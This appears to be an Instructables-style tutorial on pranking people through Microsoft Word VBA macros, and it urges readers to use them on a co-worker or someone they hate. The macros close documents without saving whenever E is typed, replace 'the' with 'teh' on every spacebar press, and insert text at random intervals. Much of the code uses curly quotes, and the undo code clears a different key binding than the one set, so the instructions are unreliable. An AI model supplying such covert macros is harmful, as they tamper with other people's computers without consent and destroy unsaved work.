Introduction: Microsoft Word Prank

This Instructable will teach you how to do some cool pranks in Micro$oft Word.
***Disclaimer*** I am not responsible from any damage done to you computer!!! I will try my best to help you if a problem dose occur but I'm not a professional. I suggest not doing this to your computer because it a pain to remove only do it to a co-worker or person who you really hate. I only have a middle amount of knowledge of visual basic.

Step 1: Getting Into Visual Basic.

Hit the Keys Alt and F11 at the same time in Microsoft word.

Step 2: Visual Basic

Congrats your in Visual Basic!!!

Step 3: This Doc

Click on the icon that says This Document

Step 4: Cause and Effect

you clicked on this document Icon and a window should appear labeled This Document

Step 5: Code Monkey!

This is the part where you get to pretend your a code monkey. You have a few options for pranks
1) This code makes it so when ever the person using word types E the document will close without saving. The code is

Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub

Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

2) This prank makes commonly misspelled words appear correct so no red line will appear under it.
Sub AutoExec()
Call WriteToATextFile
Dim dicCustom As Dictionary
Set dicCustom = Application.CustomDictionaries _
.Add(FileName:=“c:\customdic5.dic”)
Application.CustomDictionaries.ActiveCustomDictionary = dicCustom

With Application
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeySpacebar), KeyCategory:=wdKeyCategoryCommand, _
Command:=“spellit”
End With

End Sub

Sub WriteToATextFile()
MyFile = “c:\customdic5.dic”
fnum = FreeFile()
Open MyFile For Output As fnum
Print #fnum, “teh”
Print #fnum, “Teh”
Close #fnum
End Sub

Public Sub spellit()
Selection.TypeText Text:=“ ”
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = “the”
.Replacement.Text =“teh”
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = True
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll

Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = “The”
.Replacement.Text =“Teh”
.Forward = True
.Wrap = wdFindContinue
.Format = False
.MatchCase = True
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False
End With
Selection.Find.Execute Replace:=wdReplaceAll

End Sub

3) this prank makes swears randomly appear while the person is typing.

Sub typeRand()
Dim counter As String
counter = CStr(Int((30 - 1 + 1) * Rnd + 1))

Application.OnTime When:=Now + TimeValue(”00:00:” + counter), _
Name:=”TimedClose”

End Sub

Sub TimedClose()

Dim maindocument As Document
Set maindocument = activedocument
counter = CStr(Int((5 - 1 + 1) * Rnd + 1))

Select Case counter
Case 1
Selection.TypeText Text:=” ”
Case 2
Selection.TypeText Text:=” ”
Case 3
Selection.TypeText Text:=” ”
Case 4
Selection.TypeText Text:=” ”
Case 5
Selection.TypeText Text:=” ”
End Select

Call typeRand

End Sub

Step 6: Lights Camera Action

Now Just Hit the play button and watch the magic.

Step 7: UNdo It

For most people to undo the pranks hit Alt F11 and delete the code and restart word

This is the code for if the previous dose not work

FindKey(BuildKeyCode(wdKeyControl, wdKeyAlt, wdKeyA, wdKeyE)).Clear

application.CustomDictionaries.ClearAll

this should undo all the pranks if not plz contact me and i will double give you another way or maybe the code is wrong just tell me if it doesn't work

This site will help too
http://support.microsoft.com/kb/822005